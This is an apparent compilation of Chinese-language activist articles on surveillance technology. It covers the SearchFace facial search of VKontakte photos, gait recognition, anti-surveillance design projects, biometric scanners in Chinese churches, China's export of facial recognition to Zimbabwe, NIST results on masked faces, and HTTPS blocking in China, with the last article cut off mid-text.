俄罗斯互联网用户发现了一个网站 searchface.ru，允许任何人使用单个图像搜索俄罗斯热门社交媒体网络VKontakte。该网站的功能很简单：在上传包含某人脸部的照片后，用户就可以看到指向 VKontakte 页面的链接列表，其中包含描绘同一个人的照片。

在社交媒体网宣布将起诉 SearchFace“严重违反[VKontakte’s]规则”后，该算法的创建者从网站的搜索结果中删除了个人资料链接，但保留了其余所有部分的功能。

在此之前，Meduza 记者 Sultan Suleimanov 通过将最近他自己的照片上传到网站上来尝试 SearchFace 的技术。他有意使用了一张脸部被扭曲的照片，但这似乎并没有影响网站的搜索结果。SearchFace 不仅能够找到 Suleimanov 的个人 VKontakte 页面，还能找到几个虚假账户，其创建者已经上传了他本人的照片。

甚至，结果中还包括 **Suleimanov** 自己都从未见过的图像。那是在朋友的婚礼上拍摄的，并被贴在一个锁定的 **VKontakte** 帐户上。

SearchFace 让人回想起另一个俄罗斯项目 FindFace，该项目于2016年由 N-Tech Lab 公司发布。 Meduza 无法比较两种服务的准确性，因为 FindFace 的公共访问在2018年秋季已关闭。其创建者决定将重点转向企业产品。

在 SearchFace 发布消息开始传播之后，TJournal 的编辑设法与该产品的创作者联系。要求匿名的程序员表示，他的目标不是赚钱—

SearchFace 没有广告，也不需要注册。相反，他只是想研究他的算法的能力。具体来说，程序员说他希望在一组非常大的照片上测试面部识别工具，包括低质量的图像和隐藏部分人脸的图像。

Meduza 与同一个开发人员取得了联系，后者能够证明他参与了 SearchFace 项目。他解释说，该算法是在发布给 VKontakte 的5亿张照片的基础上运行的。这些基础数据是在2018年夏天收集的，之前社交媒体网络使用户能够通过锁定他们的个人资料，使信息不会公开显示。但是，**SearchFace** 来了，锁定不再管用。

尽管如此，程序员向 Meduza 保证，SearchFace 不会保存其照片库或用户上传到 VKontakte 的任何其他图像。他说，允许网站搜索功能运行的神经网络已由他的三人团队完成开发，不需要额外的视觉输入。他还称 SearchFace 是新面部识别技术的演示版本，并称其“几乎意外地”可被公开访问。在该网站被发现后的第二天，有成千上万的用户访问了其主页。

SearchFace 可以非常有效地识别个人的照片。例如一个人的童年照片，也能找到现在的本人；记者奥列格·卡申（**Oleg Kashin**）的一张照片中部分脸部隐藏在海报后面，但 **SearchFace** 也能找到其本人。

在 Kashin 和 Krasilshchik 的案例中，SearchFace 的表现甚至超过允许 Facebook 面部识别的算法。这是令人毛骨悚然的开始。穿着连帽衫的苏丹·苏莱曼诺夫（**Sultan Suleimanov**）无法被**Facebook** 的算法识别，但是对于 **SearchFace** 来说，这是小菜一碟。

调查记者很快就开始利用这项技术了：一份出版物成功找到了网上赌场 Azino777 的创始人，并仅仅使用一张2004年的单张照片就可以详细研究他的个人生活。

1月下旬，另一个旨在搜索 VKontakte 照片的网站vlicco.ru发布。与 SearchFace 一样，Vlicco 目前正处于初始测试阶段。它的创建者希望通过在网站上托管广告来获利。要访问 Vlicco，用户必须通过他们的 VKontakte 帐户登录并允许其访问他们自己的所有照片。该网站上可用的搜索查询数量有限，其搜索质量比 SearchFace 差很远。

更多参见：《你曾经在社交网络上发布过自己的照片？你危险了！》

Creeped out by Facebook’s algorithms? Just wait until you see this new facial recognition tool released by anonymous Russian programmers.

原文

重新学走路：愚蠢步行法抵制步态识别的兴起 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年5月27日存档】中国社会肯定对此感兴趣。来看看视频吧

Laurie Smith 和 Hannah Picton 预测，在2020年，能够从人们的步行方式中识别目标身份的监视技术将引发 Monty Python 式的愚蠢步行法流行。

- 在这里看到《中国的步态识别监视正式铺设："受美国的启发"》

从人们的行走方式中识别人的身份，这种监视技术目前已经是不断增长的老大哥工具包中的又一种新添武器。

目前正致力于阻止面部识别的抗议者和活动家需要更新想象力了，步态识别技术的监视之下，即使你遮住脸部也能被识别出来。

在2020年，那些希望避免自己的步态被识别出真实身份的人可能会采用 Monty Python 式的愚蠢步行。

Monty Python 式的愚蠢步行是什么？看两个视频：

尽管围绕这些技术的讨论一直以对监视社会不断增长的担忧为主导，但依旧有人认为这可能会损害其功能利用的其他一些方式，例如监视老年人的健康。

考虑到这么多潜在的应用程序和道德问题，对良好治理的需求将是一切的关键 —— 技术的控制权不在公民手中的每一天，你都应该绝对的担心。

监视社会的兴起

「图」

在2019年，将面部识别技术用于监视的问题受到了公众的广泛关注。不论是英国的法律诉讼还是香港的面罩加激光笔，你都能看到这一问题的突出。

- 《遮住脸部成为当今抗议者的首要目标》

尽管如此多的反对意见，而且明显侵犯了人权，但是，越来越多的侵入性技术正在不断开发中。

行为生物识别技术是这些发展中的主流之一，它可以通过人们做事的方式而不是他们的外貌来识别人。就包括步态识别。

请注意中国并不是唯一有兴趣将监视提升到更高水平的警察国家。

使监控技术更上一层楼

「图」

目前为止，人们对步态识别的警惕性还不如面部识别。但是，步态识别实际上更具侵入性。

在某些形式中，这种监视技术可能更难发现，因为可以使用压力垫而不是显眼的摄像头。例如，压力垫可能隐藏在地毯下面或看起来像地板的一部分。你根本就不知道那里有个监视器。

这就如以色列开发的监视井盖的思考方式：

- 见《当你被一枚井盖诱捕……》

⚠请注意，中国已经采纳了这一思考方式：

与人工智能（AI）软件结合使用时，即使隐藏了脸部，该技术仍然可以从50米外的普通监控摄像机镜头中识别出人。

尽管步态识别（例如面部识别）不是一种新技术，但人工智能的进步使其更加有效，使监视者可以实时识别任何人。

曼彻斯特大学的研究人员能够使用20,000英尺的步态数据来训练AI，以识别不同的因素，例如人们的步行节奏等等。

随着这些形式的技术变得更先进，开发成本更低，它们也可能会变得更加商业化。

该技术的开发者声称，他们的步态识别不能被假装跛脚、弯腰或故意外八字的走路方式所抵消。但这可能不会阻止希望避免监视的人们。

除了已经在市场上投放的各种反监视服装之外，也许2020年，反监视技术也将像 Monty Python 式的愚蠢步行一样爆发。

- 《防数据泄漏、防窃听、隐身……监视自卫设计师产品》
- 《行动主义：时尚界引领反监视斗争》

这将如何影响人们的生活

「图」

步态识别只是目前正在开发的一系列监视技术的又一个例子 —— ⚠ 请注意已经有新兴监视技术可以通过家庭wifi、生命体征、气味和微生物群落识别个人。

与步态识别和其他技术结合使用时，面部识别和CCTV已经远远老土了。

- 《在顶级监视者眼中，面部识别已经过时》

基于采用面部识别的方式，人们似乎也将越来越熟悉这些其他技术。如果我们要避免进入超级监视的新纪元，那么确保有效管理这些技术至关重要。

大多数技术天生不是善恶分明的，而是取决于使用它的人。这意味着治理不仅对于保护隐私很重要，而且可以支持负责任地将技术用于社会公益事业。

☞IYP 非常支持 Monty Python 式的愚蠢步行，并不是说确认它 “可以抵制” 步态识别，而是，它本身是一场反抗运动 —— 它采用的原理是 **让隐形可见**，以及 **将你的对手陷入愚蠢滑稽**。在下面回顾原理：

- 《让隐形可见：简单的压倒性》
- 《让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军》
- 《技术如何塑造21世纪的创造性抗议？》

○□

An outbreak of Monty Python-style silly walks

原文

防数据泄漏、防窃听、隐身……监视自卫设计师产品 - iyouport

反侦查-在现实中反监视生物识别-眼下最严重的威胁，以及怎么办

【2019年10月17日存档】介绍一些好玩的个人隐私防卫设计，也许反抗者能从中获得一些灵感。

挫败阅读思维的摄像头

意大利设计中心 Fabrica 的研究人员创造了一些配件，可以通过电击和闪光灯转移思想来欺骗神经影像监视设备。

来自 Fabrica 的 Lisa Kori Chung 和 Caitlin Morris 设计了反NIS（神经影像监视）的部件，以检测与 CCTV 摄像机相关的监视技术何时试图读取佩戴者的脑电波。

然后，它会将佩戴者的想法集中在一些无关紧要的事情上，以帮助维护隐私。

神经影像技术目前正在迅速研究和开发中，目的是阅读和记录公众的想法，让监视者可以在行动之前扼杀它。

想想看，如果你脑子里正在不由自主地构思参加抗议游行的场景，也许你还没到抗议现场，就已经被捕了。

这就是为什么有了这样的设计。

这个装置用于检测佩戴者何时被扫描，并提供分心，以改变佩戴者的思维模式。

这是一种瞬间认知转移的方法。

“当检测到扫描时，配件会引起感官反应，牵引佩戴者的注意力，改变他们当前的大脑活动模式，并通过伪装提供隐私时刻。”

这种帽子式的设备将声音脉冲通过颅骨传递到耳朵，颈圈式的会发出轻微的电击，面罩式的则发出闪光干扰佩戴者的眼睛。

这意味着在扫描的那一刻，佩戴者的想法更可能被解读为“这种光太亮”或“这是一种奇怪的声音”，而不是他们的真实思想。

该项目也旨在提高人们对目前与CCTV结合使用的其他监测技术的认识，如面部识别、运动检测和语音分析。

Anti-NIS Accessories 是一系列拟议的设计产品，旨在作为一种服装形式，保持思想和行动的隐私。

如今，闭路视频监控已经司空见惯。随着它无处不在的发展，正在开发新技术来分析所产生的大量信息。

生物识别技术如FRT（面部识别技术）、步态分析和语音分析通常在事件发生后用于尝试确定所涉及的各方的身份。

然而，现在各种公司正在研究算法以检测“在可疑地点”行动的人（可能基于诸如跑步、游荡和携带包裹之类的活动）。

也就是说，监视技术开发正在着眼于在“事前”进行预测。

于是，如何扰乱基于外部行为的意图的预测性分析算法，应该是当前防卫的重点考虑。

数字自卫设备 **CounterBug**

为了阻止智能家居的侵害，格拉斯哥艺术学院的毕业生 Erlend Prendergast 设计了一种模块化机器人设备，可与亚马逊的虚拟助手 Alexa 进行对话，以保护用户免受数字监控。

Prendergast 在苏格兰学校产品设计课程的最后一年学习期间开发了 CounterBug 项目。

这个自发项目探讨了一些围绕国内间谍和数字监控存在的普遍恐惧。

在他的研究过程中，Prendergast 确定了消费者在购买和使用数字设备时面临的几个关键问题。

特别是，他发现 BigBrother 监控的概念和监视资本主义的现代现象引起了人们对许多设备深深的不信任。

CounterBug 直接回应用户提出的一些隐私问题。

它执行的任务是旨在破坏 Alexa 收集不同类型的个人数据的能力。

Prendergast 在格拉斯哥艺术学院的学位展上对 Dezeen 说，他的提议是“数字自卫的替代方法”，这具有明确的讽刺性。

“项目的核心有一个固有的讽刺，因为真正唯一能够防御 **Alexa** 间谍你的方法就是不买 **Alexa**。”

模块化设备的设计源于 Echo 的形状 —— 连接到 Alexa 虚拟助手的智能扬声器 —— 但是经过迭代改造，以创建比亚马逊不显眼的产品而且更友好更讨人喜欢。

Prendergast 设计了三种不同的附件，将它们完全连接到基座上时执行特定任务。

当用户提到可能表明偏好、品味或爱好的东西时，Murmur 试图通过悄悄说出矛盾的短语来混淆亚马逊的定制广告算法。

比如，如果用户正在讨论关于英国女权主义反抗者 Pankhurst 姐妹的书，CounterBug 可能就会向 Alexa 讲述卡戴珊的书。

Blabber 旨在帮助那些容易遭遇监听的人避免被影响，并寻求为用户创造完美的数字形象。

当用户离开房屋时，该设备将开启，并自动与 Alexa 交流有关社会理想主题的信息，例如道德零售、文学和支持慈善机构等等，“正能量”；这样监听者就不会意识到用户什么时候出门了。

还有一个被称为 **Scramble** 的最终附件，旨在防止 **Alexa** 无意中听到美国国家安全局**NSA**监控的触发词。

如果用户提到诸如“海盗”，“白噪声”或“汽车炸弹”之类的词语，**Scramble** 会试图大喊大叫，以阻止被录音。

让你*闻到*危险信号

面对数字监控问题还有其他设计实例。

比如下面这个视频中介绍的，手榴弹形状的香味扩散器，旨在提醒互联网用户智能手机、平板电脑和电脑的数据泄露。

视频：

当用户设备上遇到未受保护的网站或不安全的 Wi-Fi 网络时，Smell of Data 香水瓶就会释放金属气味。

Leanne Wijnsma 和电影制片人 Froukje Tan 创建了该产品，以回应对互联网数据安全性的担忧。该项目旨在向用户介绍他们的数据发生了什么。

Wijnsma 和 Tan 通过研究人类对气体泄漏的反应来演变这一概念。

设计师们特别受到美国德克萨斯州1937年爆炸的启发，这是由于未被注意到的气体泄漏引起的。这一事件促使政府人为地将气味添加到无气味的气体中，使其更容易被发现。

Wijnsma 和 Tan 在2014年获得了荷兰文化媒体基金的电子文化项目资助，用于开发数据嗅觉，并于2016年9月在伦敦科学博物馆推出。

这个瓶子有许多侧面和透明的外壳，露出内部电线，是一个专为展览展示而设计的原型。

Wijnsma 和 Tan 正在探索该产品是否可以变成更耐磨，以提高其实用性。

随着越来越多的日常用品与互联网连接，设计人员对个人数据安全性提出了担忧。

“在您知道一切之前，有一个潜在的险恶的维度，你已经被房子里遍布的传感器所包围，从您进入的那一刻开始就实时监视您了，”他说。

Wijnsma 和 Tan 受到举报人 **Edward Snowden** 的启发，**Snowden** 让他们提高了对政府监控问题的认识。

产品简介：

概念： Leanne Wijnsma， Froukje Tan

Smell：Leanne Wijnsma，ScentAir

代码： Jip de Beer

Scent分配器原型： Robert van Leeuwen

设计：Leanne Wijnsma

摄影：Froukje Tan，Leanne Wijnsma

摄影： Simone C. Niquille

编辑： Kristen Scharold

网站： Kris Borgerink

○□

原文

随着中国加强监视，在教堂中安装了面部识别和指纹扫描 - iYouPort

中国-半壁高堡奇人生物识别-眼下最严重的威胁，以及怎么办

我们必须关注监视技术在中国各地乃至全球的扩张，而不仅仅是新疆西藏

「图」

「图」

全球数字权利组织都在聚焦新疆和西藏的监视状况。但IYP一直认为也多次强调过：中国当局以新疆西藏作为监视技术的试点，其目标是将这些技术覆盖全国，甚至海外 —— 这些监视效果测试数据将被监视技术公司用作向其他国家推广的噱头。

- 不要错过《中国的反乌托邦监视国家是美国制造的》
- 《中国向60多个国家出口AI监控技术》
- 《中国公司正在联合国制定全球面部识别标准，这意味着什么？》
- 《泄漏文件证实：有更多的美国科技巨头支援中国庞大的监视国家》
- 更多内容见 列表-4 “中国—半壁高堡奇人”

「图」

「图」

包括面部和指纹扫描设备在内的高科技监视设备现已在中国各地的教堂中安装。

根据探索中国人权和宗教自由的出版物 Bitter Winter 的报告，一种面部识别系统首先被放置在新疆维吾尔族首府乌鲁木齐的政府控制的教会 —— 三自教会中 —— 现在正在中国其他地区引入。

“去年10月6日，湖北黄石的牧羊堂二楼就设有两个生物识别设备。从那之后，信徒必须排成一列，被扫描面部和指纹，然后才被允许进入教堂。”

“与此同时，在该市的国营天恩堂中，也安装了面部识别设备，以检查参加聚会的每一个信徒。”

几周前，一名基督徒告诉该杂志，地方当局要求黄石市三自教会建立的每个聚会场所都必须扫描信徒的指纹，并存档他们的个人和家庭信息。

上教堂的人们对该命令感到不安，因为它不仅要求对教会成员进行不断的跟踪和监视，而且还要求了解他们的家人和亲戚的所有联系。

其他当地的信徒也报告说，自10月以来，黄石的多个国家批准的教堂开始使用指纹传感器和面部扫描仪记录出席的所有人。

“ 9月下旬，在黄石市南竹林社区的一个三自教友聚会场所的成员被记录下来。场地负责人告诉他们，所有人员都必须扫描指纹才能参加礼拜天的服务。”

黄石市南竹林社区一个教堂的负责人向信徒解释说：“就像员工上班一样。通过这种方式，教会可以清楚地知道谁参加了礼拜，谁没有参加。”

中国基督徒认为，这是政府权力不断增加的又一个例子。

在中国，国家对教堂的监视并不是什么新鲜事。所谓的 “雪亮工程计划” 长期存在于国营教堂中，甚至在某些礼拜场所的洗手间都装有摄像头，以确保 “全面监控”。

《南华早报》说，监视计划的名称似乎源于毛泽东时代的口号，该口号旨在敦促人们谴责那些未能遵循共产党信条的人：“人民的眼睛是雪亮的。”

监视计划旨在覆盖所有地区，目标是到**2020**年实现 “无盲区监视” ——“覆盖所有区域，在所有网络之间共享，随时可用，并在所有地方受到控制”。

去年早些时候有报道称，山东青岛市的国营教堂被勒令停止唱诗，而被命令唱那些经国家批准的赞美诗。新批准的歌曲仅以爱国、及尊重老人为主题。

“政府要求的赞美诗只宣传政治、世俗的内容。所有信徒都不愿唱。”国家认可的教堂的一位负责人说，以其中一首赞美诗的合唱为例，歌词是：“中国是美丽的；中国很棒。中国的儿女爱中国。 ……上帝保佑中国。”〇

Face and fingerprint scanning installed in churches as China increases surveillance

原文

非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家 - iYouPort

作恶者：中国在帮谁生物识别-眼下最严重的威胁，以及怎么办

曾经被视为可能赋予公众权力的数字技术如今已经成为越来越多的独裁政府的老大哥工具这里是详细报道：

从每个城市地铁站的人体扫描仪和X光机安检仪到社交媒体的全面实名制，已经能令当局可以追踪和惩罚任何他们不喜欢的言论和行为。曾经被视为可能赋予公众权力的数字技术如今已经成为越来越多的独裁政府的老大哥工具– 北京现在决心将这些工具卖给发展中国家。

2015 年中国政府启动了“中国制造2025”计划，主导尖端科技产业；去年计划让该国在 2030 年成为人工智能领域的‘世界领导者’，并建立一个价值1500亿美元的产业。而发展中国家是北京政权这些雄心壮志的重要组成部分。

⚠但与美国的同类扩张不同，中国并不只是想主宰这些市场，它是希望利用发展中国家作为实验室，来改进自己的监测技术。

非洲许多地方现在基本上依赖中国公司的电信和数字服务。总部位于深圳的 Transsion Holdings 是 2017 年占领非洲市场的第一大智能手机公司；中兴通讯是中国电信巨头，"为埃塞俄比亚"政府提供监控公民通信的基础设施；海康威视是全球领先的监控摄像机制造商，刚刚在约翰内斯堡开设了办事处。

- 关联我们半年多前的文章：“cypherpunks 的信念对致力于反权威运动的人们来说尤其重要。大众监控不仅是民主和治理的问题，甚至已经成为了地缘政治问题，强权利用技术欺凌弱者，大国利用技术威胁弱小国家的主权……美国不是唯一这么干的大国。乌干达等国家的互联网基础设施得到了中国直接投资的充实。大笔贷款是为了换取非洲给中国公司的合同，用于建设将学校、政府部门和社区连接到全球光纤系统的互联网骨干基

础设施……非洲人上网了，但是硬件由“超级大国”提供的。非洲互联网将成为非洲继续被征服到21世纪的手段吗？非洲是否再次成为全球大国对抗的舞台？”详见 「为自由而战 四」
- 另外关于海康威视的介绍：「是谁在为中国政府的监视社会系统提供技术支持？」“在一党专制的国家里，几乎没有机会对面部识别系统作出有效的限制”

最新的案例是 CloudWalk Technology，这是一家总部位于广州的初创公司，⚠已经与津巴布韦政府签署协议，提供大规模的面部识别计划。该协议目前暂停，直到7月30日津巴布韦选举后再继续。但如果通过，它将使津巴布韦 —— 一个人权记录惨淡的国家 —— 成功复制中国的监控基础设施，变成像中国一样的监视国家。

⚠通过获得与中国大不相同的种族混合群体生物数据样本，CloudWalk 将能够更好地训练面部识别系统的准确性 – 这个问题困扰着世界各地的面部识别公司，一旦成功，将可能会给中国的监视技术影响力带来至关重要的增强。

CloudWalk 的交易建立在前津巴布韦总统罗伯特穆加贝政权与其作为意识形态盟友的北京政权之间的长期关系基础上。现任总统 Emmerson Mnangagwa 于2017年11月宣誓就职，此前军事政变迫使穆加贝在实施了37年的压制性统治后辞职。但是活动人士担心这位穆加贝的前任顾问将继续穆加贝的模式，特别是 ⚠ 他的政权已经得到了新的监视技术的支持。

「图」

「图」

CloudWalk 与津巴布韦政府之间的交易不仅涵盖闭路电视摄像机（这是中国曾经提供给英国的监视设备），根据中国官媒“科技日报”的报道，所谓的“智能”金融系统、机场、铁路、公交车站安检以及国家生物识别数据库都将成为该项目的一部分。此次交易以及哈拉雷与中国生物技术公司之间的数十项其他合作协议都已经于4月签署。与最近中国公司所做的所有其他外国交易一样，它已经被融入了所谓的“一带一路”倡议。

- 关联我们早前编译的报告：《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》“其中包括，中国政府的监视技术能力在所谓一带一路倡议和其他扩展国际市场的努力中也得到了支持”

- 另外曾经推荐过的两本书的介绍《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》

我们曾多次警告：高堡奇人局面已经不仅发生在数字技术领域；中东和非洲正在成为中美争霸的主战场；CloudWalk 协议是非洲第一个中国 AI 项目。⚠谷歌今年在加纳开设了第一个非洲人工智能研究中心，但‘中国非洲项目’的创始人 Eric Olander – 一个审查中国和非洲之间关系的播客和在线资源 – 指出：许多西方公司“不愿意迈出中国人愿意做的那一步…… [中国人]愿意投资一个像津巴布韦这样波动的市场，而其他国家的公司则不然。“

事实上，根据 CB Insights 的报告，中国的人工智能项目获得了大量的国家和私人支持- 去年，全球近一半的人工智能投资流入中国初创企业，首次超过美国 – 中国公司可以负担得起风险。CloudWalk 本身就是广州市政府拨款3.01亿美元的收款人。

“考虑到 CloudWalk 如何向中国警方提供面部识别技术的事实，我们对这笔交易感到担忧，”人权观察组织中国高级研究员表示。“我们之前已经记录到[中国]公安部使用该技术进行大规模监视，针对特定的社会群体，如少数民族和对政府构成政治威胁的群体。”

一些津巴布韦人担心他们的隐私数据将如何被中国使用。Andy 是一名正在北京师范大学攻读博士学位的非洲学生，对他来说，“问题是中国公司将如何处理我们的身份……这听起来像是一个间谍游戏。“他还说他”知道一个事实“，”津巴布韦政府将利用这种技术来试图控制人们的自由。“

在津巴布韦，言论自由长期受到各种手段的限制或监视。2015年，穆加贝就接受了伊朗政府赠送的网络监控软件，其中包括用于窃听电话交谈的 **IMSI**捕手（俗称“黄貂鱼”）。2016年，他将中国列为社会媒体监管的一个榜样，他希望津巴布韦能够效仿中国的做法。■

//"Beijing’s Big Brother Tech Needs African Faces"////" "//
Zimbabwe is signing up for China’s surveillance state, but its citizens will pay the price.

原文

面部识别程序在识别蒙面面孔方面的效果正变得越来越 “好” - iyouport

生物识别-眼下最严重的威胁，以及怎么办

不是对咱们来说的 “好” …… 本文的目的不完全是面部识别，我们希望借助这篇文章在此提醒人们一些常识，以免在不久之后再就声音识别进行同样的亡羊补牢式的解说

【按】这是一个非常容易理解的监视技术升级。想想看，街上所有人都带着口罩时，您依然能从中认出自己的熟人，比如亲戚、朋友、邻居、同事，对吗？这是因为您的头脑中储存了他们没有带口罩时的完整脸部特征。

如果您第一次会面一个陌生人，对方是带着口罩的，在下一次您就不那么容易准确认出这个人来了 —— 准确度会下降，但依旧有可能认出，不论下一次见面时对方是依旧带着口罩还是没有带口罩。因为同样道理，您的大脑中储存了此人上一次与您见面时的脸部图像。

所以，您看出来了，我们的大脑在进行识别动作时所采取的模式与面部识别监视软件的原理是一样的，都是将新数据与 “存储库” 中储存的已被贴上身份信息标签的数据点进行对比。

📌 换句话说，是数据的存储 —— 数据的收集和分类 —— 在决定监视技术的准确度。

那么数据存储是从哪来的？对于您的大脑来说，数据存储来自于生活经验；您长期与一些人一起工作和生活，您就会 “记住” 他们 —— 为他们的面部特征贴上一个身份标签进行存储；而如今的监视资本主义体制则是无限提取所有人类的生活经验，并将其货币化以赚取巨额利润 —— 其买方就包括监视技术开发者，他们把您的生活经验数据库交给算法来大批量处理这种对比。

这就是为什么监视软件能比您 “认识” 更多人，甚至认识所有人，因为他们已经储存了海量的数据。他们存储的这些数据一方面来自当权

者的强行收集 —— 申请各种证件时必需附有的照片、无处不在的监视摄像头一直在不断从各个角度拍摄照片；而另一方面，也是最大的数据来源渠道，就是社交媒体上人们主动上传的自己和亲友的照片。

数据就是一切，数据量就是权力。

他们先是给社会培养一种自拍“流行文化”，当足够多的人被这种监视资本家操纵的文化所感染而热衷于上传自己和身边人的照片时，他们就开始了大规模的收集。

这就是他们对你的脸做的事。而现在，他们已经开始瞄准你的声音了。

我们希望不至于在不久之后再就声音识别进行同样的亡羊补牢式的解说。

疫情促进了佩戴口罩的热潮，让人们误以为口罩可以很好地抵制面部识别监控，很遗憾，他们想错了。

虽然口罩肯定会对面部识别技术构成一些挑战，但美国政府研究人员表示，改进专门用于解释被遮挡的面部特征的软件已经大幅降低了错误率，并使其更容易识别面部被部分遮挡的人。

所以，您需要在您的隐私增强合集中加上墨镜和帽子，才能更自信地挫败监视者的最大努力。

“对COVID-19大流行爆发后创建的人脸识别技术的一项新研究表明，一些软件开发人员在识别蒙面人脸方面取得了明显的进展”，美国国家标准与技术研究所（NIST）3月宣布。

新的报告是对早些时候对大流行前技术研究的跟进，该研究发现口罩可以有效挫败面部识别有效性。

“人脸识别算法对戴口罩的人的识别能力如何？” NIST在去年7月份的时候问道，“根据美国国家标准与技术研究所（NIST）的初步研究，答案是有很大的难度。”

不过自早前的调查以来，新一代的面部识别软件如今已经问世。新技术的设计是为了在一个人们的下半脸部经常被织物口罩遮盖的世界中实施，从而揭露被掩盖的面部特征，而传统上，软件会将这些特征与已经被存储的图像进行比较，以便识别目标人。据南华早报今年早些时候报道，新系统“能够通过仅从眼睛和鼻子获得足够的关键点来识

别戴着口罩的人”。

它们似乎也做得相当有效。

“一些新算法的性能明显优于他们的前辈。在某些情况下，其COVID算法之前和之后的错误率下降了10倍之多”，NIST最新研究的作者之一 Mei Ngan 称。“在最好的情况下，软件算法在蒙面人脸上的错误率在2.4到5%之间，与2017年该技术在非蒙面照片上的效果相当。”

与之前的研究一样，NIST的研究人员在照片上应用了数字生成的口罩，以评估新技术。他们进行了一对一的匹配，其中图像与存储的同一人的照片进行比较—— 就像在检查站或解锁智能手机时那样。计划在未来对更具挑战性的一对多匹配进行测试，也就是将人群的监控图像与大型数据库进行对比时进行的那种匹配。这种匹配很适合识别抗议者群体。

虽然研究人员发现，面部识别技术在通过口罩识别人的能力方面正在改进，但它仍然存在局限性。

“当新图像和已经被存储的图像都是带着口罩的脸时，错误率会更高”，他们指出，“除了几个明显的例外，当两张照片中的脸都被遮挡时，错误匹配率比原始保存的图像显示的是未被遮挡的脸部的错误率要高10到100倍”。这可能是因为清晰的面部特征较少，产生的对比点较少。

监视者还发现，由于不确定的原因，口罩的颜色也有关系，“红色和黑色口罩往往比其他颜色的口罩产生更高的错误率”。但请注意，这不会是一成不变的，监视技术始终在升级。

不足为奇的是，遮挡更多面部特征的较大口罩比只覆盖鼻子和嘴巴的较小口罩护导致更高的错误率。“延续2020年7月报告的趋势，圆形口罩—— 只覆盖嘴巴和鼻子—— 产生的错误比延伸到脸颊的宽口罩更少，覆盖鼻子的口罩比不覆盖鼻子的口罩产生的识别错误更多”。这对于通过比较上脸的细节来适应口罩的技术来说是有意义的。

“处方型透明镜片眼镜一般不会成为面部检测和识别软件的问题。关键的眼睛细节仍然是清晰可见的”，美国面部识别公司 Kairos 的 CTO Cole Calistra 在2015年就指出，“然而，当人们戴着深色或反光的太阳镜时，世界上最好的算法都会有困难，这有效地隐藏了眼睛的瞳孔。当眼镜遮挡和隐藏了眼睛之间的距离时，这个问题尤其复杂，而这正是许多算法的关键部分。”

从那时起，技术已经取得了很大的进步，但监视摄像头仍然必须至少能够看到一张脸的一部分，才能与存储的图像进行匹配。

在政府热衷于部署监控技术的中国，汉王科技有限公司很早就行动起来，对其软件进行了调整，以适应对COVID-19进行遮挡的人脸。路透社今年3月报道称，“中国的系统难以识别既戴口罩又戴墨镜的人”。

把帽子和墨镜、口罩一起戴上，您就有了一个组合，即使是目前最好的面部识别算法也没有什么数据可供使用。

甚至还有更有效的手段来挫败监视者，见这里《让面部识别失效的思考方式》。但是，将别人的脸部图像叠加在自己脸上的投影仪，以及歪曲可识别特征的化妆，是为那些非常注重隐私的人准备的，不太可能得到广泛采用。

更为实用的是 Reflectacles 的眼镜，它增强了墨镜本来就具有的保护隐私的特性，其功能是旨在让监控摄像头眼花缭乱。最新的版本相当时尚，不会让佩戴者看起来像 Elton John。

尽管技术在不断进步，但除了健康应用外，口罩仍然具有一定的反监控功能。但是为了达到最佳效果，口罩需要与帽子和太阳镜相辅相成，使面部识别软件没有什么可利用的数据点。

请注意，这需要足够多的人一起采取行动才能有效。如果整条街上就您一个人带着口罩＋帽子＋墨镜，您立刻就会脱颖而出。〇

Facial Recognition Programs Are Getting Better at Recognizing Masked Faces

原文

中国的信息控制如何导致网络薄弱？ - iyouport

加密和反加密之战

【2021年4月21日存档】没有任何审查和监控的便利性可以是 “专有” 的 —— 要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。对任何国家任何人来说都是如此。

【按】这篇文章的视角比较狭窄，但它的潜在立场（它所暗示的立场）与我们是一致的，即：如果您能在不自由的世界里为自己和同道营造一片自由空间，您活着这件事本身，就是反抗。

为此我们提供了很多做法以帮助您实现这点。

并且这篇文章有一点说的没错，在数字世界里，没有任何审查和监控的便利性可以是 “专有” 的 —— 要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。对任何国家任何人来说都是如此。我们曾经在《监视之恶》第6集（下）中解释过这个问题。

这篇文章的视角之所以狭窄是因为，它没有看到禁止加密（中国的做法）和制造间谍工具（美国的做法）不完全相同，中国的数字化程度不如美国，尤其是该国的密码法给予当权者以更高的保密性，于是最终中国的做法更多侵害的是普通公民和一些下层公职人员。

在全球反加密的战争中也许没人能干得过美国，但是中国除外。中国社会没有能成功抵制密码法的施行，中国缺少专业的民间权利组织（虽然中国公民大的隐私意识正在明显提升）；而同样的法律在美国很可能难以通过，因为权利组织和整个社会都会抵制它。于是美国的监视审查更多是秘密进行的，如果没有吹哨人，大众不可能知道；而中国很大程度上是明目张胆地进行。

但这篇文章重申的常识目前依旧有用，即：当您不得不使用中国的网络服务和登录中国的网站时，分身是您能做的最好的选择。

2015年，有消息称，中国黑客入侵了美国人事管理办公室的计算机网络，暴露了数百万政府雇员的个人数据。对此，白宫主动采取多种措施提高政府网络安全。其中，白宫管理和预算办公室要求所有政府网站在2016年底前实施HTTPS。

HTTPS是超文本传输安全协议的首字母缩写，它可以确保访问者与网站之间的连接的私密性、网站是“真实的”—— 意味着访问者没有登陆假冒网站，而且访问者与网站之间的数据没有被修改。在网站上实施HTTPS并不是抵御恶意网络攻击的灵丹妙药，但它可以使广泛的跟踪和拦截浏览流量变得更加困难。同样，虽然目前还不清楚此前美国政府系统缺乏HTTPS是否在人事管理办公室被入侵事件中起到了作用，但实施HTTPS至少消除了一个可能被未来黑客利用的安全漏洞。

具有讽刺意味的是，虽然在中国发生高调的网络攻击事件后，美国政府推动了HTTPS的实施，但HTTPS在中国国内却很少被使用。

使用TLS1.3 —— 最新版本的传输层安全协议，在网络浏览器和服务器之间提供安全通信、和ESNI—— 加密服务器名称指示，防止第三方看到用户访问的网站—— 的HTTPS，在中国几乎被完全封锁。中国政府之所以实施这一禁令，是因为TLS1.3通过ESNI运行后，中国的审查人员很难看到用户访问的网站，从而降低了政府的信息控制能力。即使是BBC或维基百科这样的国外平台，一迁移到HTTPS就被中国禁止了。

